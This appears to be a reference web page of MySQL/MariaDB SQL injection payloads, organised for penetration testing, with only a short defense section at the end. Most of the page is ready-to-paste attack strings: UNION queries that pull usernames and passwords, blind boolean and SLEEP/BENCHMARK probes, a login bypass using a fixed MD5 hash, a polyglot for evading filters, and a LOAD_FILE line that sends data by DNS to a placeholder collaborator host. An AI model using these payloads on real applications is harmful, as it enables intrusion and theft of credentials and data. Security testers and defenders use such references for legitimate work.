MySQL / MariaDB SQL Injection Payloads

These MySQL (and MariaDB) SQL injection payloads cover the full workflow: detection, fingerprinting, UNION and error-based extraction (extractvalue / updatexml), boolean and time-based blind (SLEEP, BENCHMARK), stacked queries, WAF bypass and schema enumeration via information_schema.

Focused page: MySQL / MariaDB Boolean-Based Blind SQL Injection Payloads.

Detection — Find and confirm the injection point (7)

Fingerprint — Identify the database engine (3)

connection_id()

DBMS identification

' AND connection_id()=connection_id()-- 

Keyword-based DBMS fingerprint (PAT table).

PayloadsAllTheThings reference

Exploitation — Extract data or demonstrate impact (19)

UNION SELECT exfil

UNION-based

' UNION SELECT username, password FROM users LIMIT 1-- 

Column count must match original query. Reflect column 1 in the app response.

PayloadsAllTheThings reference

Target char (ASCII)

Boolean blind

' AND ASCII(SUBSTRING(VERSION(),1,1))=104-- 

Binary search ASCII at position 1 (configured: 104).

PayloadsAllTheThings reference

BENCHMARK delay

Time-based blind

' AND IF(SUBSTRING(VERSION(),1,1)='5',BENCHMARK(1000000,MD5(1)),0)-- 

Heavy query when condition is true.

PayloadsAllTheThings reference

Conditional time probe

Time-based blind

' AND (CASE WHEN (SUBSTRING(VERSION(),1,1))='5' THEN (SLEEP(5)) ELSE 0 END)-- 

Delay when char at position 1 equals 5.

PayloadsAllTheThings reference

UNION with MD5 hash

Authentication bypass

'admin' AND 1=0 UNION ALL SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'-- 

UNION login as admin with hash 161ebd7d45089b3446ee4e0d86dbcf92 (password column).

PayloadsAllTheThings reference

DNS exfil (LOAD_FILE)

Stacked queries

' AND LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')-- 

Out-of-band DNS lookup to collaborator.

PayloadsAllTheThings reference

Enumeration — Discover schema, tables, and sensitive data (4)

List tables

Enumeration

' UNION SELECT table_name,NULL FROM information_schema.tables LIMIT 1-- 

Set database name to filter schema.

PayloadsAllTheThings reference

Bypass & misc — WAF evasion and cross-context payloads (6)

SLEEP polyglot

Polyglot

'SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/-- 

Works across quote contexts (PAT polyglot).

PayloadsAllTheThings reference

Defense

  • Parameterized queries / prepared statements are the primary fix for every technique on this page.
  • Run the application's database account with least privilege — no DBA, no file or command access.
  • Suppress verbose database errors and validate input types at the edge.